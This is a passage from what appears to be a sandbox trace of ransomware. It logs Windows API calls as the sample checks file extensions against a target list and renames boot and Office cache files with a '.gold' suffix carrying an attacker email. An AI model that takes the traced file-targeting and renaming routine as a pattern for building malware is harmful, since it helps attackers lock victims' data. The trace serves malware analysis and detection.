(lpString1=".docx", lpString2=".LOG1") returned -1 [0034.494] lstrlenW (lpString=".pdf") returned 4 [0034.494] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0034.494] lstrlenW (lpString=".xls") returned 4 [0034.494] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0034.494] lstrlenW (lpString=".xlsx") returned 5 [0034.494] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0034.494] lstrlenW (lpString=".ppt") returned 4 [0034.494] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0034.494] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0034.494] lstrlenW (lpString=".zip") returned 4 [0034.494] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0034.494] lstrlenW (lpString=".rar") returned 4 [0034.494] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0034.494] lstrlenW (lpString=".bz2") returned 4 [0034.494] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0034.494] lstrlenW (lpString=".7z") returned 3 [0034.494] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0034.494] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0034.494] lstrlenW (lpString=".dbf") returned 4 [0034.494] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0034.494] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0034.494] lstrlenW (lpString=".1cd") returned 4 [0034.494] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0034.494] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0034.494] lstrlenW (lpString=".jpg") returned 4 [0034.494] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0034.494] lstrcmpiW (lpString1=".LOG2", lpString2=".gold") returned 1 [0034.494] lstrlenW (lpString="BCD.LOG2") returned 8 [0034.494] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.494] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=0) returned 1 [0034.494] CloseHandle (hObject=0x178) returned 1 [0034.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0034.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0034.495] lstrlenW (lpString=".doc") returned 4 [0034.495] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString=".docx") returned 5 [0034.495] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0034.495] lstrlenW (lpString=".pdf") returned 4 [0034.495] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString=".xls") returned 4 [0034.495] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString=".xlsx") returned 5 [0034.495] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0034.495] lstrlenW (lpString=".ppt") returned 4 [0034.495] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0034.495] lstrlenW (lpString=".zip") returned 4 [0034.495] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString=".rar") returned 4 [0034.495] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString=".bz2") returned 4 [0034.495] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString=".7z") returned 3 [0034.495] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0034.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0034.495] lstrlenW (lpString=".dbf") returned 4 [0034.495] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0034.495] lstrlenW (lpString=".1cd") returned 4 [0034.495] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0034.495] lstrlenW (lpString=".jpg") returned 4 [0034.495] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0034.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0034.495] lstrlenW (lpString=".doc") returned 4 [0034.495] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString=".docx") returned 5 [0034.495] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0034.495] lstrlenW (lpString=".pdf") returned 4 [0034.495] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString=".xls") returned 4 [0034.495] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString=".xlsx") returned 5 [0034.495] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0034.495] lstrlenW (lpString=".ppt") returned 4 [0034.495] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0034.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0034.496] lstrlenW (lpString=".zip") returned 4 [0034.496] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0034.496] lstrlenW (lpString=".rar") returned 4 [0034.496] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0034.496] lstrlenW (lpString=".bz2") returned 4 [0034.496] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0034.496] lstrlenW (lpString=".7z") returned 3 [0034.496] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0034.496] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0034.496] lstrlenW (lpString=".dbf") returned 4 [0034.496] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0034.496] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0034.496] lstrlenW (lpString=".1cd") returned 4 [0034.496] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0034.496] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0034.496] lstrlenW (lpString=".jpg") returned 4 [0034.496] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0034.496] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0034.496] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0034.496] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.496] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=89168) returned 1 [0034.496] CloseHandle (hObject=0x178) returned 1 [0034.496] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0034.496] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.496] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.496] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0034.496] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0034.496] lstrlenW (lpString=".doc") returned 4 [0034.497] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.497] lstrlenW (lpString=".docx") returned 5 [0034.497] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.497] lstrlenW (lpString=".pdf") returned 4 [0034.497] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.497] lstrlenW (lpString=".xls") returned 4 [0034.497] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.497] lstrlenW (lpString=".xlsx") returned 5 [0034.497] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.497] lstrlenW (lpString=".ppt") returned 4 [0034.497] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.497] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0034.497] lstrlenW (lpString=".zip") returned 4 [0034.497] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.497] lstrlenW (lpString=".rar") returned 4 [0034.497] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.497] lstrlenW (lpString=".bz2") returned 4 [0034.497] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.497] lstrlenW (lpString=".7z") returned 3 [0034.497] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.497] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0034.497] lstrlenW (lpString=".dbf") returned 4 [0034.497] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.497] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0034.497] lstrlenW (lpString=".1cd") returned 4 [0034.497] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.497] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0034.497] lstrlenW (lpString=".jpg") returned 4 [0034.497] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.497] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0034.497] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0034.497] lstrlenW (lpString=".doc") returned 4 [0034.497] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.497] lstrlenW (lpString=".docx") returned 5 [0034.497] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.497] lstrlenW (lpString=".pdf") returned 4 [0034.497] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.497] lstrlenW (lpString=".xls") returned 4 [0034.497] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.497] lstrlenW (lpString=".xlsx") returned 5 [0034.497] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.497] lstrlenW (lpString=".ppt") returned 4 [0034.497] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.497] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0034.497] lstrlenW (lpString=".zip") returned 4 [0034.497] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.497] lstrlenW (lpString=".rar") returned 4 [0034.497] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.497] lstrlenW (lpString=".bz2") returned 4 [0034.497] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.497] lstrlenW (lpString=".7z") returned 3 [0034.497] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.498] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0034.498] lstrlenW (lpString=".dbf") returned 4 [0034.498] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.498] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0034.498] lstrlenW (lpString=".1cd") returned 4 [0034.498] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.498] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0034.498] lstrlenW (lpString=".jpg") returned 4 [0034.498] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.498] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0034.498] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0034.498] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.498] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=87616) returned 1 [0034.498] CloseHandle (hObject=0x178) returned 1 [0034.498] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0034.498] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.498] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.498] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0034.498] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0034.498] lstrlenW (lpString=".doc") returned 4 [0034.498] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.498] lstrlenW (lpString=".docx") returned 5 [0034.498] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.498] lstrlenW (lpString=".pdf") returned 4 [0034.499] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.499] lstrlenW (lpString=".xls") returned 4 [0034.499] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.499] lstrlenW (lpString=".xlsx") returned 5 [0034.499] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.499] lstrlenW (lpString=".ppt") returned 4 [0034.499] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.499] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0034.499] lstrlenW (lpString=".zip") returned 4 [0034.499] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.499] lstrlenW (lpString=".rar") returned 4 [0034.499] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.499] lstrlenW (lpString=".bz2") returned 4 [0034.499] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.499] lstrlenW (lpString=".7z") returned 3 [0034.499] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.499] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0034.499] lstrlenW (lpString=".dbf") returned 4 [0034.499] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.499] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0034.499] lstrlenW (lpString=".1cd") returned 4 [0034.499] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.499] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0034.499] lstrlenW (lpString=".jpg") returned 4 [0034.499] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.499] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0034.499] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0034.499] lstrlenW (lpString=".doc") returned 4 [0034.499] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.499] lstrlenW (lpString=".docx") returned 5 [0034.499] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.499] lstrlenW (lpString=".pdf") returned 4 [0034.499] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.499] lstrlenW (lpString=".xls") returned 4 [0034.499] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.499] lstrlenW (lpString=".xlsx") returned 5 [0034.499] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.499] lstrlenW (lpString=".ppt") returned 4 [0034.499] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.499] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0034.499] lstrlenW (lpString=".zip") returned 4 [0034.499] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.499] lstrlenW (lpString=".rar") returned 4 [0034.499] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.499] lstrlenW (lpString=".bz2") returned 4 [0034.499] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.499] lstrlenW (lpString=".7z") returned 3 [0034.499] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.499] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0034.499] lstrlenW (lpString=".dbf") returned 4 [0034.499] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.499] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0034.499] lstrlenW (lpString=".1cd") returned 4 [0034.499] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.499] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0034.500] lstrlenW (lpString=".jpg") returned 4 [0034.500] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.500] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0034.500] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0034.500] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.500] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=91712) returned 1 [0034.500] CloseHandle (hObject=0x178) returned 1 [0034.500] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0034.500] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.500] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.500] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0034.500] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0034.500] lstrlenW (lpString=".doc") returned 4 [0034.500] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.500] lstrlenW (lpString=".docx") returned 5 [0034.500] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.500] lstrlenW (lpString=".pdf") returned 4 [0034.500] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.500] lstrlenW (lpString=".xls") returned 4 [0034.500] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.500] lstrlenW (lpString=".xlsx") returned 5 [0034.500] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.500] lstrlenW (lpString=".ppt") returned 4 [0034.500] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.500] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0034.500] lstrlenW (lpString=".zip") returned 4 [0034.500] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.500] lstrlenW (lpString=".rar") returned 4 [0034.500] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.500] lstrlenW (lpString=".bz2") returned 4 [0034.500] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.500] lstrlenW (lpString=".7z") returned 3 [0034.500] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.500] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0034.501] lstrlenW (lpString=".dbf") returned 4 [0034.501] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.501] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0034.501] lstrlenW (lpString=".1cd") returned 4 [0034.501] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.501] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0034.501] lstrlenW (lpString=".jpg") returned 4 [0034.501] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.501] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0034.501] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0034.501] lstrlenW (lpString=".doc") returned 4 [0034.501] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.501] lstrlenW (lpString=".docx") returned 5 [0034.501] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.501] lstrlenW (lpString=".pdf") returned 4 [0034.501] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.501] lstrlenW (lpString=".xls") returned 4 [0034.501] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.501] lstrlenW (lpString=".xlsx") returned 5 [0034.501] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.501] lstrlenW (lpString=".ppt") returned 4 [0034.501] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.501] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0034.501] lstrlenW (lpString=".zip") returned 4 [0034.501] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.501] lstrlenW (lpString=".rar") returned 4 [0034.501] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.501] lstrlenW (lpString=".bz2") returned 4 [0034.501] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.501] lstrlenW (lpString=".7z") returned 3 [0034.501] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.501] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0034.501] lstrlenW (lpString=".dbf") returned 4 [0034.501] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.501] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0034.501] lstrlenW (lpString=".1cd") returned 4 [0034.501] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.501] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0034.501] lstrlenW (lpString=".jpg") returned 4 [0034.501] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.501] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0034.501] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0034.501] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.502] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=94800) returned 1 [0034.502] CloseHandle (hObject=0x178) returned 1 [0034.502] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0034.502] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.502] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.502] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0034.502] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0034.502] lstrlenW (lpString=".doc") returned 4 [0034.502] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.502] lstrlenW (lpString=".docx") returned 5 [0034.502] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.502] lstrlenW (lpString=".pdf") returned 4 [0034.502] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.502] lstrlenW (lpString=".xls") returned 4 [0034.502] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0034.502] lstrlenW (lpString=".xlsx") returned 5 [0034.502] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0034.502] lstrlenW (lpString=".ppt") returned 4 [0034.502] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.502] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0034.502] lstrlenW (lpString=".zip") returned 4 [0034.502] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0034.502] lstrlenW (lpString=".rar") returned 4 [0034.502] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0034.502] lstrlenW (lpString=".bz2") returned 4 [0034.502] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.502] lstrlenW (lpString=".7z") returned 3 [0034.502] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.503] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0035.277] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0035.526] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0035.841] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 